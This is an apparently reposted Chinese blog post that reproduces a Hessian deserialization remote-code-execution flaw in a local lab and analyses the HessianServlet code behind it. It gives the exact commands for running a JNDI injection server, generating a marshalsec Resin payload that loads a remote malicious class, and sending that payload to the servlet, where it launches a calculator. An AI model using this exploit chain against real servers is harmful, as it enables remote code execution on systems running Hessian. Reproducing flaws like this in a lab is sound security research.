Hessian反序列化RCE漏洞复现及分析

栏目: IT技术 · 发布时间: 4年前

内容简介:Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。Hessian反序列化类似Java反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。使用marshalsec项目工具(

Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。

Hessian反序列化类似 Java 反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。

使用marshalsec项目工具( https://github.com/mbechler/marshalsec )可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean

Hessian反序列化RCE漏洞复现及分析

下面使用Resin payload复现Hessian反序列化RCE漏洞

一、搭建测试环境

测试环境使用最新jar包

Hessian反序列化RCE漏洞复现及分析

将HessianTest.war放到tomcat/webapp/目录下并启动tomcat

Hessian反序列化RCE漏洞复现及分析

访问服务器地址 http://127.0.0.1:8080/HessianTest/hessian ,返回如下页面则说明环境正常

Hessian反序列化RCE漏洞复现及分析

二、启动JNDI利用工具

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是某大佬写得JNDI注入利用工具,项目地址 https://github.com/welk1n/JNDI-Injection-Exploit

编译后JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1

-C为需要执行的命令 -A为监听地址

Hessian反序列化RCE漏洞复现及分析

三、生成payload

marshalsec工具地址 https://github.com/mbechler/marshalsec

编译后的marshalsec-0.0.3-SNAPSHOT-all.jar

执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin <a href="http://127.0.0.1:8180/">http://127.0.0.1:8180/</a> ExecTemplateJDK7>hession

Hessian反序列化RCE漏洞复现及分析

将在当前目录生成hession的payload

注意: http://127.0.0.1:8180/ExecTemplateJDK7 为 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启动后生成的恶意代码地址

四、发送payload到hessian服务器

使用hessian.py 发送序列化的payload到服务器

执行命令:

python hessian.py -u <a href="http://127.0.0.1:8080/HessianTest/hessian">http://127.0.0.1:8080/HessianTest/hessian</a> -p hessian

Hessian反序列化RCE漏洞复现及分析

可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行弹出计算器

Hessian反序列化RCE漏洞复现及分析

五、分析

使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet之相应的路径

Hessian反序列化RCE漏洞复现及分析

Java客户端可以很方便的调用服务器上的方法,如下

Hessian反序列化RCE漏洞复现及分析

查看com.caucho.hessian.server.HessianServlet的代码

service方法处理客户端发来的http请求,调用

Hessian反序列化RCE漏洞复现及分析

Hessian反序列化RCE漏洞复现及分析

调用HessianSkeleton的invoke方法,将从客户端发来的数据流中读取对象

Hessian反序列化RCE漏洞复现及分析

看代码里面好像没有什么黑白名单过滤机制

通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务器

下面是构造请求包的hessian.py代码

Hessian反序列化RCE漏洞复现及分析

利用图

Hessian反序列化RCE漏洞复现及分析 这是发送给Hessain服务器的请求包

Hessian反序列化RCE漏洞复现及分析


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Tagging

Tagging

Gene Smith / New Riders / 2007-12-27 / GBP 28.99

Tagging is fast becoming one of the primary ways people organize and manage digital information. Tagging complements traditional organizational tools like folders and search on users desktops as well ......一起来看看 《Tagging》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

MD5 加密
MD5 加密

MD5 加密工具